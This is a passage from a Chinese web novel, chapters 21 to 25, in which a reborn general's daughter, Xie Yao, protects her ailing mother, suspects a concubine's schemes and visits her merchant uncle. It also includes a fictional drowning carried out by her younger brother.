谢窈原本是平静的,听到母亲问自己“疼吗”,她心里忽然涌出一丝委屈。 “母亲知道吗,我在边关时啃过草根树皮,守过城池,也打过胜仗,即便受伤也不害怕,因为我知道,我有母亲牵挂。” 谢窈望着许素素,目光灼灼,从枕下取出那根谢老夫人拿要来的金钗,塞到她手里。 “如今我回来了,纵然以后有再多的阴谋算计,艰难险阻,我也能护住你,做你的倚仗,不会让任何人伤害到你。所以母亲,再为我坚持一些日子好吗,我不能没有你。” 许素素眼中悲戚,恍然间,仿佛回到了十七年前那个雷电交加的夜晚,她听见刚出生孩子的第一声啼哭。 那一刻,她什么都不怕了,就像现在。 “阿窈,你究竟要做什么?”许素素问。 谢窈用自己温热的手,温暖母亲冰冷的手掌,眼底跳动着仇恨的火焰,一字一顿: “我要将您曾经咽下的苦,连本带利地讨回来。” 第21章 你怎知母亲给我做了新衣服 上辈子,母亲用自己的死唤醒了她。 这一世,换她来护着母亲。 许素素侧过头,不愿让女儿看到自己落泪。 谢窈却看见了许素素眼中的痛苦。 即便母亲仍旧不告诉自己她有何苦衷,只要看到那滴眼泪,听到她脱口而出唤自己“阿窈”,谢窈已经心满意足。 她的母亲是爱她的,她清楚这一点就好。 她会查清楚,用自己的方式。 * 翌日。 不知是谢窈之前威胁谢明安那番话有用,还是靖北王的赏赐唬住了伯府,孙姨娘派了人,上赶着给谢窈送饭。 晚香院也有小厨房,但见孙姨娘派人来了,母亲就没让桑若再来给她送饭。 孙姨娘的丫鬟小声嚼舌根:“姨娘都知道给您送饭,二小姐,您可是正夫人的亲生女儿,她竟如此狠心,连饭食都不给您做。 谢窈掂着刀:“母女一体,我比我娘还要狠心,你要试试吗?” 丫鬟吓得匆匆跑了。 中午就没饭再来,谢窈去敲母亲的房门,大声喊:“娘,饿,饭。” 母亲没理她。 过了一会儿,桑若拉着个脸,给她送来了四菜一汤。 用完饭,谢窈让忍冬去和桑若套近乎,打听母亲的病情。 她则跟在给谢伯爷复诊的大夫身后,想看看济安堂的大夫,究竟和谢家的谁有关系。 前世,忍冬死在了济安堂。 忍冬是当年杏林圣手林御医的女儿,又是军中女医,本就医术高明,怎么会因为伤势过重突然离开人世? 这个济安堂,绝对有问题。 大夫从谢明安的书斋出来,去了趟孙姨娘住着的阁楼,又进了谢老夫人的暖阁,这才离开伯府。 若说日常把脉,也有可能,算不上什么特别。 跟踪完大夫,她来到母亲从前居住的静竹轩。 院门落着虚锁,谢窈推开门,枯黄的竹叶无人打扫,才几日就遮住了石板路。 “咯咯哒——” 一只鸡兴奋地朝她扑来,被她轻而易举地擒住翅膀。 追墨以前是被当成斗鸡养的,身上干净,没有什么味道,翅下的短绒还特别温暖柔软,被她好一阵乱摸。 之前,谢窈被罚跪祠堂,让桑若把追墨送到了静竹轩养着。 她四处张望,就见院子角落的竹丛深处的枯叶有被母鸡坐过的痕迹。 谢窈走上前,蹲下来摸了一会。 果然,摸到两颗蛋。 她把鸡蛋收好,给追墨撒一把米,又去后院找到斧头和一堆干柴石块,打算做个鸡窝。 谢宴找来时,正好看见谢窈认真地垒着木条,追墨在她身边,安静地啄米粒。 谢窈身上穿着件石青色直裾襦裙,眼睫低垂,发间只有一根藏青发带。 风吹起她的发带,阳光穿过竹枝,竹影似潋滟碎金落下她身上,静谧如画卷。 谢宴凝神望着许久,打破寂静:“追墨没死?它不是那只烧鸡?” 谢窈早就听出他的脚步声,头都没抬:“你想的话,它也可以是只烧鸡。” “我……我以为它做错了事,肯定死了。” 谢窈劈开一根木头,道:“做错事的是养鸡的人,鸡只是被利用的工具而已,为什么要怪它。” 谢宴回想谢窈把一枚香囊放到谢枝身上,而书童把追墨带到饭厅后,追墨追着谢枝啄。 他就算再傻,也能猜到追墨发狂跟香囊有关,而那枚香囊,本就是谢枝为谢窈准备的。 ——谢枝,要害他姐姐。 谢宴语气迟疑:“昨天靖北王给你送了好多礼物,我本想一大早来找你,没想到你不在晚香院,居然在这儿。” 谢窈站起身,拍了拍手:“你去晚香院了,和母亲请安了吗?” “请了啊。” “哦,”她忽然弯起唇角,眉眼鲜明张扬,语气莫名有几分骄傲,“那看来你已经知道,这身衣裳是母亲新给我做的了。” “啊?”谢宴怔住。 他跟不跟母亲请安,和谢窈的衣裳有什么关系。 半晌,他才顺着话头说:“母亲怎么没给我做。” 谢窈的笑容更深:“对了,母亲除了给我做了新衣服,还答应我,把靖北王送来的那几匹布料也才裁成新衣。” 谢宴:“我看见了,除了几匹蜀锦,还有一棵珊瑚树。” 谢窈:“对啊,你看母亲给我做的衣裳,是不是很合身?” 谢宴:“……合身。” 懂了,她这是在跟他炫耀。 谢窈见谢窈手上有些木屑,从袖中摸出一张干净手帕,递给她。 谢窈接过来,在院中水井旁洗了手,仔细擦拭干净,不脏了母亲给她新做的衣服。 擦完,她把手帕还给谢宴,忽然开口:“我知道,昨日陆慎言是你带进来的。” 谢宴呼吸一顿:“你知道了。” 他低下头,想起小时候。 他总是追在谢窈身后,可谢窈有自己的玩伴,她嫌他年纪最小,从不搭理他。 可他还是想跟着姐姐。 “姐姐那些玩伴长大后,只有陆慎言长得好看,所以我才把他带进了伯府,”谢宴说道,“姐姐不喜欢他,难道真想嫁给靖北王?” “下次睁大你的眼睛看看,陆慎言哪有靖北王好看?”谢窈认真地说。 谢宴嘴角抽了抽:“好看又不能当饭吃,靖北王毕竟……身有残疾,听说还性情暴戾,全京城都知道靖北王府是个火坑,你要是嫁给他,受苦怎么办。” 谢窈摸了摸弟弟的脑袋:“好看不能当饭吃,但靖北王的王位,他的权势地位能。” “姐姐不是那种贪慕权势的人。” “嘿嘿,我是。”谢窈微笑道。 她耐下性子:“嫁给靖北王,不说别的,母亲至少能封个诰命夫人,至于传闻靖北王性情暴戾,他都站不起来了,总不能追着打我吧,我又是世人皆知的王妃,他更不能真把我害死。” “话虽如此,但我还是担心。” 谢宴仍旧感觉心口堵着一块石头。 谢窈道:“我和靖北王是皇上赐婚,木已成舟,不能更改,箫熠之以后就是你姐夫了。” “你有空担心我嫁得好不好,还撺掇我抗旨,还不如勤奋读书,早日考取功名,别再做靠伯府蒙荫的纨绔子弟了,以后……” 谢宴:“以后什么?” 谢窈眼底泄露一丝戾气,笑容却格外灿烂。 “以后,万一文昌伯府的天塌了,你还能滚得远点。” 谢宴不懂谢窈的眼神,不知道谢窈究竟要做什么。 但他唯一能做到的,就是听姐姐的话。 “我听姐姐的话,以后好好读书。”他说道。 只要他听话,姐姐就不会再离开了吧。 谢窈又叮嘱:“还有,我不喜欢陆慎言,以后别再做自以为为我好的蠢事了,小废物。” “不会再有下次了,姐姐。”谢宴承诺似的说。 离开静竹轩,他从学塾取了几本书,往书房走。 贴身书童阿禄跟上前:“少爷可是让小的好找,刚才大小姐还念叨,说天儿冷了,少爷读书要多加一个手炉。” 谢宴默不作声,阿禄又道:“对了,大小姐那里那只鹦鹉,今天学会说话了,少爷平日里不是最喜欢找大小姐玩吗,咱们去看看吧。” 谢宴脚步停住:“我平时,最喜欢找大姐姐?” 阿禄悄然试探:“是啊,依小的看,就算二小姐回来了,大小姐才是真正挂心您的人,也是真正值得您在乎的人。” 谢宴蓦地顿悟了。 是啊,他的姐姐回来了。 那他就不需要第二个姐姐了。 “谢窈没有杀追墨,而是养在了静竹轩,我今日看见鸡还下了蛋。”谢宴忽然开口。 之前,追墨买回来后,一直是阿禄在养。 阿禄脸上露出讥讽之色:“二小姐在北境那么多年,说不定整日喂鸡种田,小的只养过追墨一只鸡,自然比不上她能干。” 谢宴轻声道:“可你还会给追墨喂食会让它发狂的草药,应该是姐姐比不上你才是。” 阿禄心头一紧,结巴起来:“少,少爷在和阿禄说笑吗。” “嗯,说笑而已,我还以为追墨忽然发狂,是你训练的呢。” “阿禄不敢!” “你不敢,那就是大姐姐敢?” “小的,小的真不明白少爷在说什么啊。” 阿禄吓得跪了下去。 “起来吧,跪什么跪,我何时责罚过你。” 谢宴唇角扬起,停在了花园的池塘边。 “对了,阿禄,你说这水冷不冷?” 第22章 姨娘吃药,有问题! 阿禄是谢宴的贴身书童,整日陪着谢宴招猫逗狗,不干正事。 从前,大小姐给他银子,让他常年在少爷面前,引导她才是少爷唯一的姐姐。 少爷还是个孩子,就想要姐姐。 当初二小姐被送去健妇营,没一年,不需要引导,他就很喜欢大小姐了。 前些日子,阿禄收了孙姨娘院里刘嬷嬷的二两银子,让他给追墨喂一种特殊的草药。 追墨变得比平时暴躁,啄了回府的二小姐,还伤了谢伯爷和大小姐。 但事后,没人追究一只鸡,他以为事情早就过去了。 四下无人,阿禄从地上爬起来,没意识到谢宴声音平静的可怕。 “公子,如今是秋天,池塘自然很冷……” 话未说完,谢宴走到他侧后方,猛地拽住他衣领,狠狠撞到池边的青石上。 砰的一声,阿禄脑袋开花。 谢宴根本没再问他到底是谁指使的,他不用猜也知道。 阿禄的叫声还未出口,谢宴再轻轻一脚,把他踹进水里。 水花溅起半人多高,阿禄呛了两下,很快没了动静。 一股血色像断线的风筝,从水里咕嘟嘟地流淌,须臾,尸体浮上水面。 谢宴蹲在池边,用手舀了些冰凉的池水,把青石上砸出的血迹拂去,又随意地捡起阿禄的鞋丢在旁边。 做完这些,谢宴平静地洗着手。 他低头看着尸体:“以前谢枝是我的姐姐,你是姐姐派来照顾我的人,但是现在,我不需要谢枝了。” 水面倒映出一张苍白俊朗的脸,他站起身,从怀里拿出帕子准备擦手。 想起这条帕子谢窈用过,谢宴停下来,用衣摆拭了拭手上的水迹,不紧不慢地离开池塘。 等他在自己的书房温习了两遍先生之前讲的功课,又练了几篇字后,照看他的嬷嬷才脸色惨白地赶来。 “少爷,后花园发现一具尸体……阿禄,没了。” 谢宴适时地露出惊讶神色。 阿禄终究不过是一个下人,伯府一个下人失足落水,不是什么光彩的事,晚香院这边,甚至无人知道。 谢窈回晚香院时候,路过孙姨娘和谢枝住的西阁楼。 忽然,她看见刘嬷嬷的身影,鬼鬼祟祟地贴着墙根走。 谢窈悄无声息地跟上去,就见刘嬷嬷拎着几副汤药,来到伯府后厨,指使一个小丫鬟:“你,去把这两副药给姨娘煎了。” 丫鬟接过药包,忍不住抬头问:“嬷嬷,姨娘这是生病了?” 刘嬷嬷斜了她一眼:“你才生病呢,这是药令大人给姨娘开的调理方子。” 见丫鬟仍是懵懂,她又斥道:“灶上不能离人,煎好后给我,若有半分差池,仔细你的皮。” 丫鬟不知什么是药令大人,谢窈却清楚,孙姨娘的父亲,就是尚药局的孙药令。 她隐隐感觉自己捕捉到了什么,但一时之间想不起来。 等刘嬷嬷走了,丫鬟生完火,找出砂罐,拿着蒲扇煎起药来。 谢窈这才现身。 “见,见过二小姐。”小丫鬟慌里慌张地起身行礼,悄悄看她身后。 二小姐没带刀吧。 “放心吧,我没带刀,”谢窈感叹了一下自己现在的名声,张开手示意,“你叫什么名字?” 丫鬟松了一口气:“回禀二小姐,奴婢茗儿。” 谢窈从袖中掏出三两银子,塞到茗儿手中。 “茗儿,你也知道,我母亲常年体弱多病,我想为她请个大夫调理身子,却不知京中哪家医馆更好。” 茗儿收下了银子,心中怦怦乱跳,低声道:“二小姐真是一片孝心,只是,伯夫人的身子,京中许多医馆都来看过,药也吃着,但一直不见好。” 顿了顿,她又道:“若说好的医馆,给咱们伯府平日看诊的济安堂就很尽心,就是药钱很贵,奴婢这等下人是万万吃不起的。” 谢窈听完,附和地点头:“原来是这样啊,多谢你告知,也罢,我还是等以后有机会了,为母亲寻些名医看诊吧。” 说完,她就要走。 茗儿愣愣地问:“二小姐就问这个?” 谢窈回头:“你还想要我问什么?” 茗儿咬了咬唇:“就一个问题,用不了给奴婢这么多赏钱。” 谢窈看向她身后的渗出药味的药罐:“你这药是给谁煎的?” “二小姐,奴婢万万不敢给孙姨娘下毒啊!”茗儿“噗通”一声跪下,小脸失了血色。 谢窈开玩笑似的说:“我不喜欢孙姨娘,你要是觉得收银子太多,就往这里面丢点黄连。” 她也没等茗儿答应,便离开了。 茗儿望着她,心想,二小姐对待下人脾气很好,不像对待伯爷和王管事那么吓人。 回到晚香院后,谢窈就把忍冬叫来。 忍冬也正要跟她说:“奴婢跟桑若打听了,夫人是肺痨,据说是生您时落下的毛病,但今年更严重了,大把大把吃药也不见好。” “回头,你得给母亲把个脉,”谢窈从怀中取出一个药包,“你先看看,这是什么药?” 忍冬打开之后,默默抬头:“药呢?” 这分明是个空药包。 谢窈尴尬地笑了笑,指着上面残留的药渣:“这不是吗,我好不容易顺来的,我们家忍冬不是神医嘛,肯定能分辨这是什么。” 忍冬认命地拈起药渣,低头轻嗅,又对光仔细捻了捻。 谢窈期待地看着她:“是什么?” 忍冬一本正经地回答:“看不出来。” 谢窈:“……你再仔细看看,要么你尝一口?” 忍冬摊手:“二小姐,奴婢又不是神仙,就这点药渣,您找个算命的掐指算还差不多。” 谢窈泄了一口气,算了,只能当她银子白花了。 “话说回来,二小姐从哪儿顺的药包?可有说是治什么的?”忍冬问道。 谢窈:“是孙药令给孙姨娘开的调理方子,孙姨娘看着身体很好,没事儿吃什么药呢,我感觉这药一定有问——” 她忽然停住话头。 没事自然不用吃药,但如果有事呢? 前世,她嫁给陆慎言不到半年,孙姨娘就被抬为平妻。 当时她已经被送到庄子,与世隔绝,这消息还是陆慎言来时随口说的。 后来谢宴见到她,只是说母亲去世,没提及伯府的事。 寻常妾室,即便身份贵重,入府是什么,以后就是什么,正妻未亡,不会抬妾为平妻。 除非,这个妾室有大功劳。 孙姨娘,有了身孕。 第23章 出府后,去许氏钱庄 没证据的事儿,谢窈却认为自己猜对了。 算算时间,如果孙姨娘现在有孕,待到生产时,正好是前世她被抬为平妻的时候。 不仅如此,谢窈还猜测,孙姨娘诞下的,很可能是个儿子。 前世母亲死后,谢宴明明是嫡子,却被谢明安放弃,用了一年功夫才找到陆慎言藏她的庄子。 如果谢家有了新的嫡子,那一切就解释得通了。 谢窈轻挽一圈手中的刀,眼神凛冽。 她将自己对孙姨娘怀孕的猜测,告诉了忍冬。 忍冬:“这……二小姐仅凭一点药渣,你又不是算命的,怎么看出来的?要么,您晚上去趟孙姨娘房间,顺些喝剩的药物回来,奴婢再帮您看看?” 谢窈摇了摇头,没必要了。 “我就是算命的,我说怀了就是怀了。” 她开玩笑似地说,又问:“如今我们手中还有多少银两?” 忍冬把银子摆出来:“带回京的银钱只剩一两碎银,半贯铜钱。昨日您从桑若那里顺了三枚银锭,加起来,总共十六两半。” 也多亏二小姐顺了给靖北王侍卫的赏钱,否则她们已经是捉襟见肘。 “够是够了,”谢窈估摸了一下,“那日偷炭盆的同福,现在在什么地方?” 之前,谢枝让自己院里的小厮同福偷了她的炭盆,被她捉个现行后,孙姨娘将其打了二十棍后,发卖了出去。 谢窈特意让忍冬留意同福的去向,又问了他的家世。 她还记得同福被拖走前看向孙姨娘的眼神,不是畏惧,是恨。 善战者求之于势,不责于人,故能择人而任势。 同福,就是她选择的人。 “奴婢趁人不备给他送过些伤药,还给他塞了半贯铜钱,他说伯府发卖的下人,一般是送去东街几所牙行,还有的送到乡下的田庄做杂役。” 谢窈思忖道:“明天出府。” 次日一早,她就准备着出门了。 穿上母亲给她做的新衣服,梳了个简单的发髻,再叫上忍冬。 路过许素素的屋子时,房门紧闭,看来母亲还是不想理她。 谢窈也不在意,还笑眯眯地跟桑若打招呼。 谢宴正好要去学塾,遇见了她。 “姐姐,你是要出去玩吗?”谢宴兴冲冲地问。 谢窈点头。 “那我跟你一起出去——” 这时,他身旁一个看起来有些面生的小厮劝道:“少爷,今日学塾有课业,伯爷还要检查的。” 谢宴想起自己昨日答应谢窈,以后要好好读书,昨天刚保证了,今天要是就出去玩,谢窈非得抽他不可。 “算了,我也不是很想出去,”他只好作罢,又道,“府上有车夫,姐姐要去什么地方?用我的马车吧。” 谢窈:“靖北王府。” 谢宴愣了一会儿,垂下眸,轻声道:“那也行,早去早回。” 他让小厮去找车夫,把自己的马车停到门口。 新的门房却拦住谢窈:“伯爷说了,二小姐要在府中学规矩,不得擅自外出。” 谢窈抱着刀:“此前靖北王送来礼物,我要亲自去王府道谢,陛下也说了,待嫁期间,我可以去王府找王爷。你是听伯爷的话,还是陛下的话?” 门房犹豫:“这,这里毕竟是文昌伯府,二小姐别为难小的,小的实在是怕惹伯爷生气……” 谢窈微笑问道:“所以,你是打算惹我生气?” 门房咽了咽口水,回想起前任门房的惨状,火速开门。 忍冬扶着谢窈上了马车,谢窈却说:“先不去靖北王府,去东街。” “二小姐去东街做什么?”车夫问道。 忍冬翻了个白眼,冷呵:“二小姐是去道谢的,不该去东街买点回礼?” 车夫还想说什么,谢窈缠着布条的长刀,已经从帘子里伸出来,横到他身旁。 她淡淡地开口:“你知道今日的门房,为何没有被我一刀砍死吗?” 车夫屏住了呼吸,声音发颤:“小的不,不知道……” “因为他没有问我去做什么。” 车夫立即闭上嘴,扬起马鞭,直奔东街。 马车很快到了街口,谢窈跳下车,给车夫一点赏钱:“当我请你,去前面茶楼听一天的戏,日头落之前再送我回府。” 车夫战战兢兢地拒绝:“小的不敢。” 谢窈:“那我还是把你一刀砍死吧。” “小的告辞。”车夫麻利地接过赏钱,眨眼消失在她面前。 忍冬抱着布匹下了马车,若有所思地说:“二小姐,咱们是要再顾一辆马车去牙行吗?” 昨晚二小姐特意询问她同福,今天她们又带够了钱,她猜,二小姐定然是要去牙行买人。 谢窈眯起眸子,看向前面。 东街是京城最为繁华的一条街道,白日里,街道两边各种小贩吆喝,里面茶楼酒楼当铺应有尽有,若是晚上,宵禁前也是张灯结彩,热闹非凡。 这些熙熙攘攘的行人商贩,都是大燕的百姓。 曾经,她习武从军,征战沙场,就是为了守护眼前的一切。 看到安居乐业的人们,谢窈意识到自己从前做的一切都是有意义的,她还是想策马扬鞭,驰骋疆场。 她心中热血未凉。 定了定神,谢窈步入东街:“先去许氏钱庄。” “那是什么地方?咱们不是去买同福吗?”忍冬问。 谢窈道:“许氏钱庄,是外祖父家在京城的产业。” 东街牙行大大小小有许多家,上哪找一个被发卖出府的小厮,就算找到了,她们只有十六两银子,若是碰上牙行狮子大开口,难道她回头把自己的刀当了? 何况,她要的不是买个仆人,而是一个忠心耿耿的手下。 两人走到东街最里面的许氏钱庄,刚进门,掌柜便热情迎上前:“两位姑娘有何贵干?” 谢窈拱手道:“家母许氏是许老爷子的独女,谢窈与祖父多年未见,特来看望他老人家。” 掌柜的见到她抱着刀,又听到她自称谢窈,一下子确信了她的身份。 这几日,谢家二小姐回京,陛下赐婚她和靖北王,是京中最热闹的新鲜事。 “原来是谢家的表小姐,见过表小姐!只是老家主如今不在京中,不过,少东家此刻人就在后院清点账目。” 第24章 钱的问题,舅舅帮你解决! 半盏茶功夫不到,一名容貌清俊,身着锦袍的男子便急匆匆赶来,手里还拎着一把金算盘。 谢窈见礼道:“舅舅。” 眼前的男子约莫三十出头,是许家的少东家,她的舅舅许知行。 舅舅其实与许家并无血缘关系。 当年,外祖母早逝,外祖父续弦的夫人也无所出,许家只有母亲一个嫡女。 直到遇见家破人亡的少年许知行,外祖父将他收为义子,悉心培养。 许知行见到谢窈,眼眶悄然红了:“真是小阿窈回来了,快让我看看,哎呀,比小时候还漂亮俊俏,怎么长这么高,都快赶上我了。” “舅舅倒是和从前一样,”谢窈问道,“不知外祖父身体如何?” “你外祖父一切都好,月前回江州老家处理生意,京中的铺子现在是我在看,你放心,有什么用钱的地方跟舅舅说,一定满足。” 谢窈心里酸涩。 前世,她回京后没有与许家联络,没想到在她被陆慎言软禁,走投无路的时候,却是许知行伸出援手,重金为她聘请状师。 她的血脉至亲放弃了她,只是外祖父义子的舅舅却不遗余力地帮她。 前世匆匆一见,谢窈才知道,外祖父在母亲走后半年,也发急病离开了人世。 “怎么穿得这么单薄,冷不冷?”许知行温和地问。 谢窈笑着道:“一点都不冷,舅舅,这是母亲亲手给我做的新衣裳。” “素……你娘的针线活?”许知行稍微凑近看了看,认了出来。 “倒是比从前歪歪扭扭的手艺强多了。” 他说着,偷偷背过身,迅速用袖子揉了一把眼睛,语气有点絮叨。 “以前在家里,你娘不喜欢做女红,你外祖父非要她学,她就大哥长大哥短地央求我,最后还是我给她绣的……现在,怎么是她亲手给你做衣服。” 谢窈笑了,没想到母亲曾经也是个活泼会撒娇的姑娘。 “我这次前来,就是因为母亲。”她说。 提起自己的妹妹,许知行神情一下子正色起来。 谢窈将自己回谢家后,母亲言行不一的事告诉了他。 “我离京这九年,舅舅可知道,母亲在伯府究竟发生了什么?” 听到谢窈说许素素今年的肺痨愈发严重,许知行立即吩咐掌柜:“去把库房那盒平肺膏取出来,快去!” 他抿唇道:“阿窈,不是我不关心你娘,而是你娘……她根本不见许家人。” “其实当初,你外祖父本不愿你娘嫁给谢明安,咱们许家虽是世代从商,商贾身份上不得台面,却做不出委屈女儿攀高枝的算计。” “但那时谢明安高中状元,你娘喜欢他,还……有了你,你外祖父拗不过,只能由她去了,怕她受委屈,备了八十抬嫁妆,看着她嫁入谢家。” 许知行将自己知道的简单告诉谢窈,又道:“自从你娘生了谢宴后,我和你外祖父都遣人想见她,她却始终不见。家里人当她是生下伯府嫡子后,嫌弃自家商贾身份,从此也就与她生分了。” 谢窈知道舅舅没有骗自己,她小时候,确实没有见过舅舅上门。 母亲也从不提及许家,都是她一个人在街上瞎跑,来找过舅舅和外祖父几次。 而谢老夫人则总是冷嘲热讽,说母亲是小门小户出身的商贾之女,生下的女儿也上不得台面。 谢窈又询问舅舅还记不记得母亲身边的苏嬷嬷,舅舅道:“自然记得,苏嬷嬷是个实诚人,从前在许家就一直照顾你母亲。她怎么了?” “没什么。”谢窈摇了摇头,没说苏嬷嬷不知为何,已经不在了。 许知行眼神沉了几分,并未再问。 平肺膏取来,他打开验过之后,交到了谢窈手里。 正要告诉谢窈用量,忍冬见到药盒上的贴的墨字,惊讶道:“这是……先帝患肺疾时曾用过的琼玉平肺膏?” “正是,这药是我去年担心老爷子年纪大了,提前备下的,没想到今日派上了用场。” 忍冬:“据说这服药用到的药材比黄金还贵,我也只是听过,从未见过。” 许知行看了她一眼,笑着说:“你这侍女倒是有些眼力,不过不用担心,琼玉平肺膏再珍贵,咱们许家也寻得到,用得起。” 谢窈让忍冬把药收好,感觉自己低估了许家的财力。 忍冬抱着琼玉平肺膏,恨不得立即打开看,她是大夫,对这种出名的良药最感兴趣。 谢窈看着她一无所知的模样,忽而开口:“舅舅可知济安堂的东家是谁。” “济安堂?” 许知行对京中大小商贾生意了如指掌,很快就想起来。 “济安堂的东家姓孙,孙宏方,是尚药局孙药令的儿子。” 济安堂的东家,竟然是孙姨娘的大哥。 那前世忍冬的死,或许就是孙姨娘指示济安堂干的! 谢窈眼神深了几分,这医馆既然能不留痕迹地害死忍冬,一定有它的问题。 她问道:“舅舅,许家在京中的产业,可有医馆?” 许知行的面容笼罩在幽静的阴影里,眼神透出一丝冷意。 他没有回答,而是指腹轻轻拨动手中的金算盘:“小阿窈,你爹是不是有个妾室,姓孙?” 谢窈颔首:“府中的孙姨娘,就是舅舅口中孙宏方的妹妹。” 许知行眯起眸子,喃喃自语:“她在谢家受苦,是这个妾室害的吧。” 还有,小阿窈提起的苏嬷嬷,恐怕是凶多吉少。 有些事即便不告诉他,他也能猜到。 既然小阿窈说济安堂有问题,那他做舅舅的,就帮她解决这个问题。 他的声音很低,谢窈还没听清,他就勾起唇角,说:“咱们许家在京城,从前是没医馆药铺,但是——” 停顿片刻,他一字一顿: “打今天起,就有了。” 说完,许知行去里屋拿出一只木匣。 他打开匣子,里面银灿灿,金闪闪,元宝状,亮得刺眼。 “皇上赐婚的事,我已经知道,他们谢家当初把你狠心送到健妇营那么多年,如今你刚回京,又要你嫁给靖北王,真是一群趋炎附势的鼠辈……” 提到谢家,许知行眼神愈发晦暗。 谢窈说道:“嫁给靖北王,我是愿意的。” “那便好,那便好。” 说着,许知行又拿出一沓银票:“舅舅我没什么能耐,只有一点银钱,这些就当给你零花的,阿窈务必收下。等你成亲那天,你外祖父和我,肯定给你准备更多的嫁妆,不叫任何人瞧不起咱们许家的女儿。” 谢窈并没有推脱,接过银票,让忍冬收下银锭和金锭。 粗略一看,匣子里至少有两百两银子,百两黄金,还有几十两银票。 听到许知行要外祖父也为她准备嫁妆,她连忙道:“舅舅想给我嫁妆,我收下,但如今外祖父不在京城,如果来不及,千万别让外祖父来回奔波。” 许知行点头:“你这孩子太懂事了,这个我自然知道。” 谢窈又提起同福。 有钱庄的帮助,她只等了一盏茶的功夫,就知道了同福眼下所在的牙行。 谢窈起身告辞,和忍冬一起离开。 许知行望着她的背影,直到那道纤长挺拔的身影彻底融入人群中,他才收回视线,原本温情的眼神变得锐利。 他回到屋里坐下,面无表情地拨动算盘,一道道吩咐迅速发出。 “钱庄这边每月流水有两千两,济安堂开在南街,老张,你拿八百两,立即去南街盘一间铺子,就要济安堂的隔壁。” “我要玩死济安堂!” 第25章 云鹤楼遇熟人,给王爷带饭菜 离开许氏钱庄,忍冬抱着一大袋金银,紧张地说:“二小姐,奴婢从没有见过这么多钱,感觉买一百个同福也够了。” “这些可不只是用来买同福的。” 谢窈眼底闪烁,问道:“饿不饿?” 忍冬虽然露出不好意思的神情,但还是点头:“有一些……” “之前在云州时,我答应过你和颜姨,如果以后有机会带你们回京,酒肉管饱。” 颜姨和忍冬一样,都是谢窈曾经救下的女子,如今在健妇营驻地周围开了家酒肆。 她摸着自己鼓鼓囊囊的小荷包,张望了一圈儿:“走,我们去吃京中最出名的酒楼。” 京城最出名的酒楼,自然是云鹤楼。 早些年,当今圣上还是皇子的时候,因为沈皇后和沈家获罪,他也被先帝所恶,连亲王爵禄都被克扣,却攒了半个月的银子,来云鹤楼吃包子,被人认了出来。 从此,云鹤楼名声大噪。 其实谢窈已经忘记了云鹤楼的味道,但这里,是小时候,母亲唯一带自己去过的酒楼。 那日,她和母亲一起吃着饭,看到一个在酒楼门口捡剩包子的小乞丐。 她见小乞丐可怜,求母亲把饭菜分给了他。 母亲询问小乞丐的姓名,说道,也是个可怜的孩子。 后来,陆慎言考中状元,当时的户部侍郎是他早年同窗,订了云鹤楼的席面为他庆贺,给陆家发邀帖,还特意请了自己这个状元夫人。 谢窈为陆慎言高兴,于是前去赴约。 没想到她刚落席,陆慎言便脸色阴沉地赶来,当场掀了桌子,说他从前在云鹤楼吃出过脏东西,此地犯了他的忌讳。 众人不欢而散,没过多久,谢窈就被送去庄子,再也没去过云鹤楼。 现在想来,谢窈明白了。 陆慎言当初为安平侯挡箭受伤,就是在云鹤楼门口。 断子绝孙的地方,确实犯了他的忌讳。 不过,这就跟她没关系了。 甚至她想明白此事后,更觉得云鹤楼和自己有缘。 谢窈来到酒楼,点了自己喜欢吃的几道菜,又问忍冬喜欢什么。 从前过得太苦,现在既然有机会,那她得不负美食,重新活一次。 白术正按照惯例,在云鹤楼收账。 他站在二楼围栏处,无意间一瞥,看见了楼下正在大快朵颐的准王妃和准王妃的侍女。 那日随王爷去伯府宣旨,他匆匆见过这名侍女一面,当时便感到眼熟。 听准王妃叫她忍冬。 现在再见,白术越发觉得忍冬像自己年幼时认识的一个人。 他定下神,直接来到谢窈这桌,一板一眼地行礼:“见过谢二小姐,谢二小姐怎么在这里?” 谢窈正在吃菜,没想到会遇见箫熠之的人。 “你是靖北王的侍卫吧?前几天来伯府送赏的白蔹是你什么人,你俩长得有些像。” “属下白术,白蔹是家弟。”白术回答。 “我既收了王爷的礼物,自然是要去王府道谢的,路过云鹤楼,就顺便吃个便饭。”谢窈解释。 她说完,发现白术没有要走的意思,就直挺挺地站在桌边,也不说话。 犹豫再三,他还是张了口,冷冰冰地吐出四个字:“忍冬姑娘!” 忍冬抬起头,平静地和他对视:“白侍卫有何要事?” 白术僵硬了半刻,憋道:“没什么,正好王爷有马车停在云鹤楼,你们要去王府,用那辆车就行。” “谢谢。” 白术欲言又止。 “白侍卫还有事吗?”忍冬又问。 白术又僵了一会儿,摇了摇头,走了。 谢窈看向忍冬:“你认识他?” 忍冬忽然变得有些沉默,半晌,低头咬了一大口鸡腿:“不认识。” 谢窈没有多问。 六年前,她巡防城池的时候,看见忍冬在卖身葬父母。 忍冬的母亲是宫里的林御医,做错了事,父母被先帝流放北境长风关,林御医刚走到长风关就病逝了,她爹也追随而去。 谢窈买下了她,留她在军中当军医。 从前在京城的事,忍冬不说,她也不会问。 谢窈饭量惊人,一桌饭菜吃得干干净净,又包了两份店里的招牌点心。 一份,是拿回去给母亲尝的,另一份,还有他用。 店小二按照白术临走前的吩咐,领着谢窈来到后院马厩,那里停着几辆马车,两匹马。 “这辆青灰车帘的就是靖北王的马车,小的可以驾车,送王妃到王府。” 这是辆很寻常的马车,谢窈特意看向车后,没见到方便箫熠之轮椅的木板。 她忽然转身,回到店里:“我们之前吃的那些,除了酱猪脚,红烧肉,其他的全都再来一份,再要一盘这个。” 忍冬“啊”了一声:“二小姐,您晚上还要加餐?那你加吧,奴婢是吃不下了。” 谢窈道:“这是我给靖北王带的。” 忍冬恍悟:“也是,咱们是借靖北王名义才出府的,肯定得讨好一下他,不过,咱们现在有钱了,这些饭菜又不是多稀罕,是不是应该买点别的礼物?” 靖北王是王爷,又常年在京城,什么山珍海味没吃过,会喜欢这些寻常饭菜吗? 谢窈说道:“靖北王有马车常年停在云鹤楼,以前,他应该是喜欢云鹤楼饭食的。” 马车没有放置木板,说明箫熠之残疾后,没再来过这里。 将心比心,若她忽然双腿不能行走,也定然不愿出门。 不过,不出门有什么关系,她可以把好吃的带去他府里。 谢窈点的菜做起来颇费功夫,她提前交了钱,跟云鹤楼说好了一个时辰后再来取走。 靖北王府。 白术把在云鹤楼遇见准王妃的事,告诉了箫熠之。 “谢二小姐说,是专程来王府道谢的。” 箫熠之坐在院子里黄栌树下的藤椅上,脸上没什么表情,只是静默地望着时不时被风吹落的树叶。 